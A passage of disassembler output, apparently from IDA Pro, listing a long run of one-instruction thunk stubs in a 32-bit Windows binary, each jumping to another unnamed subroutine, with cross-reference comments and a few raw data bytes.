XREF: sub_4253C0+E9p ; sub_4253C0+116p ... jmp sub_425370 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_40A9A0+20p jmp sub_40AAD0 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: sub_410030+AFDp ; sub_410030+E71p ... jmp sub_40AFA0 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404CC0+8E9p ; sub_404CC0+8F2p ... jmp sub_40A350 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: ___:0042210Ap jmp sub_422640 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_404690+87p ; sub_410030+9B0p ... jmp sub_40A240 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F2 proc near ; CODE XREF: sub_427D50+12Ep jmp sub_41A050 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_41E760+35Dp ; sub_41E760+3CAp ... jmp sub_421CA0 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013FC proc near ; CODE XREF: sub_418DA0+7p jmp sub_4190A0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4162C0+5Fp jmp sub_416890 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401406 proc near ; DATA XREF: ___:off_43F0C4o jmp sub_41B4D0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40140B proc near ; CODE XREF: sub_4157B0+29p ; sub_4158D0+29p jmp sub_416380 sub_40140B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401410 proc near ; CODE XREF: sub_413E70+19Ap jmp sub_415890 sub_401410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401415 proc near ; CODE XREF: ___:004301FFp ; ___:00430228p jmp sub_4303A0 sub_401415 endp ; --------------------------------------------------------------------------- jmp loc_42E2B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; CODE XREF: ___:00416EFFp jmp sub_417F50 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_41B920:loc_41B92Fp ; sub_41B920+1Fp jmp sub_41B900 sub_401424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401429 proc near ; DATA XREF: sub_40AFA0+4o jmp sub_40B070 sub_401429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_403530+61p ; sub_403CE0+1Dp ... jmp sub_409BC0 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_437130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: sub_418990+29p jmp sub_418C10 sub_401438 endp ; --------------------------------------------------------------------------- jmp loc_434370 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: ___:00433B5Dp ; sub_433CE0+20p jmp sub_433E10 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: ___:00406C23p ; ___:00416C58p ... jmp sub_406C50 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_404690+370p ; sub_404690:loc_404A35p ... jmp sub_404C30 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_404CC0+26Bp ; ___:0040F346p ... jmp sub_40E870 sub_401451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401456 proc near ; CODE XREF: sub_415A60+5p jmp sub_416540 sub_401456 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_40B600+1Dp ; ___:0040BA2Dp ... jmp sub_40BE00 sub_40145B endp ; --------------------------------------------------------------------------- jmp loc_40B6D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_41E760+349p ; sub_421BF0+1Ap jmp sub_421C60 sub_401465 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_4151C0+29p jmp sub_415CE0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: ___:00408AF2p ; ___:00408B1Bp ... jmp sub_409530 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_404690+30p ; sub_404690+14Bp ... jmp sub_40A7A0 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40147E proc near ; CODE XREF: sub_4193C0+1D8p ; sub_4193C0+1EFp jmp sub_419890 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_412780+F8p jmp sub_41BD90 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401488 proc near ; CODE XREF: sub_413C40+E1p jmp sub_4152A0 sub_401488 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40148D proc near ; CODE XREF: sub_422B40+48p ; sub_422B40+213p ... jmp sub_426B60 sub_40148D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401492 proc near ; CODE XREF: sub_41B5B0+2Ap ; sub_41B5B0+5Ap ; DATA XREF: ... jmp sub_41A6B0 sub_401492 endp ; --------------------------------------------------------------------------- jmp loc_4323F0 ; --------------------------------------------------------------------------- jmp loc_42FBD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A1 proc near ; CODE XREF: sub_40EE40+EAp jmp sub_40ED00 sub_4014A1 endp ; --------------------------------------------------------------------------- jmp loc_40A7C0 ; --------------------------------------------------------------------------- loc_4014AB: ; DATA XREF: ___:off_43F078o jmp loc_40F210 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_40BE00+14p ; sub_40BE40+9p ... jmp sub_40C1A0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B5 proc near ; CODE XREF: sub_42C4C0+1Dp jmp sub_42C530 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near ; CODE XREF: sub_41C710+4E7p ; sub_41C710+A75p ... jmp sub_41D6D0 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014BF proc near ; CODE XREF: sub_4132F0+48p ; ___:0043AC97j ... jmp sub_4157B0 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near jmp sub_40AF60 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; DATA XREF: ___:off_43F044o jmp sub_414E10 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014CE proc near ; CODE XREF: ___:00427913p sub_427970j ... jmp sub_427850 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_403530+115p ; sub_404690+1B8p ... jmp sub_409C60 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014D8 proc near ; CODE XREF: sub_40AD50+7p jmp sub_40AE40 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_404B60+9p ; sub_404CC0+45p ... jmp sub_40A820 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E2 proc near ; CODE XREF: sub_41E760+E1p ; sub_4219F0+1Ap jmp sub_421A60 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: sub_41A210+10p ; sub_41A3B0+47p ... jmp sub_41A600 sub_4014E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014EC proc near ; CODE XREF: sub_407100+24p jmp sub_4072E0 sub_4014EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:0042C3E5p jmp sub_42C4C0 sub_4014F1 endp ; --------------------------------------------------------------------------- jmp sub_4288F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: ___:00416C1Bp ; ___:0043B1B6j ... jmp sub_417640 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_415C20+5Fp jmp sub_416610 sub_401500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401505 proc near ; CODE XREF: sub_4248E0+Fp ; sub_424920+1CCp ... jmp sub_424840 sub_401505 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40150A proc near ; CODE XREF: ___:004296C7p ; ___:0042978Cp ... jmp sub_40A070 sub_40150A endp ; --------------------------------------------------------------------------- jmp loc_419AB0 ; --------------------------------------------------------------------------- jmp loc_433F20 ; --------------------------------------------------------------------------- jmp loc_42FEF0 ; --------------------------------------------------------------------------- jmp loc_42FE00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_422050+8p jmp sub_4224A0 sub_401523 endp ; --------------------------------------------------------------------------- jmp locret_419A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; CODE XREF: sub_40CC90+1E4p ; sub_40D040+143p ... jmp sub_419A70 sub_40152D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401532 proc near ; CODE XREF: sub_418B70+3p jmp sub_418E00 sub_401532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; DATA XREF: ___:0043F1B8o jmp sub_42C830 sub_401537 endp ; --------------------------------------------------------------------------- jmp loc_433870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_410030+95p ; sub_4120B0+54Dp ... jmp sub_4142E0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401546 proc near ; CODE XREF: sub_40B600+Bp ; ___:0040BA19p jmp sub_40BF00 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: sub_430830+1Bp ; sub_432ED0+94p jmp sub_4309A0 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401550 proc near ; CODE XREF: sub_421FD0+7p jmp sub_422450 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401555 proc near ; CODE XREF: ___:00433B4Fp ; sub_433CE0+Fp jmp sub_433E50 sub_401555 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40155A proc near ; CODE XREF: sub_418A40+29p ; sub_418B20+29p jmp sub_418CC0 sub_40155A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40B250+40p ; ___:00439E1Aj ... jmp sub_40BD90 sub_40155F endp ; --------------------------------------------------------------------------- jmp loc_4316A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401569 proc near ; CODE XREF: sub_40C0D0+4p jmp sub_40C2E0 sub_401569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40156E proc near ; CODE XREF: sub_407080+3Cp jmp sub_407230 sub_40156E endp ; --------------------------------------------------------------------------- jmp loc_41BD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401578 proc near ; CODE XREF: sub_4152E0+5Bp ; sub_415C20+11p ... jmp sub_415E70 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416F8Ap jmp sub_418330 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401582 proc near ; CODE XREF: sub_413740+BEp ; sub_413740+FCp ... jmp sub_4151C0 sub_401582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401587 proc near ; CODE XREF: ___:00416E9Fp jmp sub_417CC0 sub_401587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40158C proc near ; CODE XREF: sub_4129D0+39p ; sub_412A40+A9p jmp sub_412940 sub_40158C endp ; --------------------------------------------------------------------------- jmp loc_4323C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401596 proc near ; CODE XREF: sub_40A510+16Fp ; ___:00439D8Aj jmp sub_40A870 sub_401596 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40159B proc near ; CODE XREF: sub_404010+51p ; ___:004040B4p ... jmp sub_407100 sub_40159B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015A0 proc near ; CODE XREF: ___:00408B0Fp ; ___:00408B38p ... jmp sub_40B760 sub_4015A0 endp ; --------------------------------------------------------------------------- jmp loc_433280 ; --------------------------------------------------------------------------- jmp loc_41A280 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015AF proc near ; CODE XREF: sub_4160C0+4p jmp sub_416710 sub_4015AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B4 proc near ; CODE XREF: sub_409930+1Ap ; sub_409980+1Ap jmp sub_4099F0 sub_4015B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; DATA XREF: ___:0043F134o jmp sub_429330 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_433BE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:004192A5p jmp sub_419300 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_4337B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: ___:0041D833p jmp sub_41D860 sub_4015CD endp ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_415420+5p jmp sub_415EA0 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: sub_418AB0+5p ; sub_418BB0+6p ... jmp sub_418DC0 sub_4015DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E1 proc near ; CODE XREF: sub_404CC0+94Dp ; ___:00406EACp ... jmp sub_409D60 sub_4015E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00416E5Fp jmp sub_406BF0 sub_4015E6 endp ; --------------------------------------------------------------------------- jmp loc_424430 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F0 proc near ; CODE XREF: ___:00415F2Ap jmp sub_416760 sub_4015F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_41F030+1C7p jmp sub_420DD0 sub_4015F5 endp ; --------------------------------------------------------------------------- loc_4015FA: ; DATA XREF: ___:0043F1C0o jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4292E0+3p jmp sub_429310 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401604 proc near ; CODE XREF: sub_404CC0+E8Ep ; sub_40D660+120p ... jmp sub_420090 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401609 proc near ; CODE XREF: sub_4327B0+20p ; sub_4327B0+32p jmp sub_434960 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: ___:00432725p jmp sub_431220 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401613 proc near jmp sub_426C70 sub_401613 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401618 proc near ; CODE XREF: sub_4164E0+8p jmp sub_4168B0 sub_401618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; DATA XREF: ___:off_43F0ACo jmp sub_41E760 sub_40161D endp ; --------------------------------------------------------------------------- jmp loc_41ABA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401627 proc near ; CODE XREF: sub_40AF80p ___:004313E2p jmp sub_4325F0 sub_401627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40162C proc near ; CODE XREF: sub_407140+1Ap ; sub_418990+1Ap jmp sub_407270 sub_40162C endp ; --------------------------------------------------------------------------- jmp loc_416D90 ; --------------------------------------------------------------------------- jmp loc_430360 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_422340+5Fp jmp sub_4226E0 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401640 proc near ; CODE XREF: ___:0041A30Ap jmp sub_41B160 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: sub_4327B0:loc_4327EEp jmp sub_432850 sub_401645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40164A proc near ; CODE XREF: sub_434150+12p ; sub_4348A0+51p jmp sub_431810 sub_40164A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: ___:00416EAFp jmp sub_417D60 sub_40164F endp ; --------------------------------------------------------------------------- jmp loc_4314E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401659 proc near ; CODE XREF: sub_40A930+8p jmp sub_40A980 sub_401659 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40165E proc near ; CODE XREF: ___:0041301Ep jmp sub_4131B0 sub_40165E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401663 proc near ; CODE XREF: sub_430D90+ADp ; ___:004335A0p ... jmp sub_4307E0 sub_401663 endp ; --------------------------------------------------------------------------- db 0E9h ; ι db 43h ; C db 0B4h ; ΄ db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40166D proc near ; CODE XREF: sub_42CB70+15Ep jmp sub_42C770 sub_40166D endp ; --------------------------------------------------------------------------- jmp loc_4068A0 ; --------------------------------------------------------------------------- jmp loc_42F640 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; CODE XREF: ___:0040741Ap jmp sub_4075C0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_422750+3Cp jmp sub_422890 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; DATA XREF: ___:0043F0C8o jmp sub_41B5B0 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_403530+BBp ; ___:00406F1Dp ... jmp sub_403700 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: ___:004300A0p ; ___:0043011Ep ... jmp sub_434070 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: sub_409570+10p jmp sub_409610 sub_401695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169A proc near ; CODE XREF: sub_40A510+4Ap jmp sub_40A840 sub_40169A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169F proc near ; CODE XREF: ___:00416ECFp jmp sub_40F6D0 sub_40169F endp ; --------------------------------------------------------------------------- jmp loc_4333D0 ; --------------------------------------------------------------------------- jmp loc_42F940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_40BFA0+9p ; sub_40C200+18p jmp sub_40C380 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: sub_41D930+283p jmp sub_42FB70 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_403530+CCp ; sub_404690+EDp ... jmp sub_40A710 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: ___:00416EEFp jmp sub_417F20 sub_4016BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C2 proc near ; CODE XREF: sub_4246D0+7Ep ; sub_4246D0+92p ... jmp sub_4245A0 sub_4016C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C7 proc near ; CODE XREF: sub_412780+E0p ; sub_4138B0+CEp ... jmp sub_409F50 sub_4016C7 endp ; --------------------------------------------------------------------------- jmp loc_42F420 ; --------------------------------------------------------------------------- jmp loc_42FBA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: ___:00415169p jmp sub_415AD0 sub_4016D6 endp ; --------------------------------------------------------------------------- loc_4016DB: ; DATA XREF: ___:off_43F0ECo jmp loc_427910 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E0 proc near ; CODE XREF: sub_4096E0+58p ; sub_4096E0+82p ... jmp sub_409930 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp sub_428210 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016EA proc near ; CODE XREF: sub_41E760+2B2p jmp sub_421BB0 sub_4016EA endp ; --------------------------------------------------------------------------- jmp loc_41AF50 ; --------------------------------------------------------------------------- jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_40A930+10p jmp sub_40A9A0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016FE proc near jmp sub_4364D0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_418430+7Bp ; sub_418430+C5p ... jmp sub_418BE0 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_4148A0+FCp jmp sub_414A70 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_41E760+D1p jmp sub_421B10 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; CODE XREF: sub_40AF60p ; ___:loc_4313C5p jmp sub_432570 sub_401712 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401717 proc near ; CODE XREF: sub_4096E0+91p ; sub_412C90+Dp jmp sub_4098B0 sub_401717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40171C proc near ; DATA XREF: ___:off_43F0A8o jmp sub_40C4E0 sub_40171C endp ; --------------------------------------------------------------------------- jmp loc_40AEC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401726 proc near ; CODE XREF: sub_413A80+4Ep jmp sub_415140 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: sub_40F6D0+13Dp jmp sub_412C60 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: ___:0040F290p jmp sub_40E2F0 sub_401730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401735 proc near ; CODE XREF: ___:00415191p jmp sub_415BA0 sub_401735 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173A proc near ; CODE XREF: sub_428940+98p jmp sub_428AB0 sub_40173A endp ; --------------------------------------------------------------------------- jmp loc_426700 ; --------------------------------------------------------------------------- jmp loc_41AFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_407140+48p ; sub_407140:loc_4071C5p jmp sub_407340 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_40AEF0+2Cp ; sub_418430+8Fp ... jmp sub_40B020 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_403720+2A5p ; sub_403720+2B5p ... jmp sub_403DE0 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_42B8E0+7Fp ; sub_42BB00+318p jmp sub_42B6F0 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: sub_415A90+14p ; sub_415AD0+9p ... jmp sub_416630 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_40B020+10p ; ___:004305B1p ... jmp sub_431470 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401767 proc near ; CODE XREF: ___:0040AFF4p jmp sub_4348A0 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: sub_418E80+5Fp jmp sub_419110 sub_40176C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401771 proc near ; CODE XREF: ___:0041896Cp jmp sub_418590 sub_401771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416B1Bp ; ___:00416DE3p ... jmp sub_416DC0 sub_401776 endp ; --------------------------------------------------------------------------- jmp loc_420EC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401780 proc near ; CODE XREF: ___:00416EBFp jmp sub_417E30 sub_401780 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: sub_430B30+5Dp ; sub_431B00+2Cp ... jmp sub_4322D0 sub_401785 endp ; --------------------------------------------------------------------------- jmp loc_42F590 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00427370p jmp sub_428880 sub_40178F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401794 proc near ; CODE XREF: ___:00426757p jmp sub_426560 sub_401794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401799 proc near ; CODE XREF: ___:00416F9Ap jmp sub_418360 sub_401799 endp ; --------------------------------------------------------------------------- jmp loc_433200 ; --------------------------------------------------------------------------- jmp loc_4301A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; CODE XREF: ___:004292B3p sub_429310j ... jmp sub_4291E0 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: ___:00416BCBp ; ___:00416D93p ... jmp sub_416D60 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; DATA XREF: ___:off_43F17Co jmp sub_42B3F0 sub_4017B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B7 proc near ; CODE XREF: sub_431240+D7p jmp sub_432A20 sub_4017B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_40AF60+5j ; ___:loc_4313CDp jmp sub_432670 sub_4017BC endp ; --------------------------------------------------------------------------- jmp loc_431420 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; CODE XREF: sub_4266D0+10p ; sub_4267D0+3Dp jmp sub_4267A0 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_40AF80+5j ; ___:loc_4313D5p ... jmp sub_432690 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; DATA XREF: ___:off_43F000o jmp sub_404CC0 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_4248E0+1Ep ; sub_424920+A6p ... jmp sub_424870 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: ___:00416B8Bp ; ___:0043B234j ... jmp sub_417A60 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DF proc near ; CODE XREF: sub_416220+11p ; ___:00416247p ... jmp sub_4167F0 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_415A10+3p ; ___:0041626Fp ... jmp sub_4164A0 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017E9 proc near ; CODE XREF: sub_415600+6Ap ; sub_416030+32p jmp sub_415F70 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017EE proc near ; CODE XREF: sub_403530+DBp 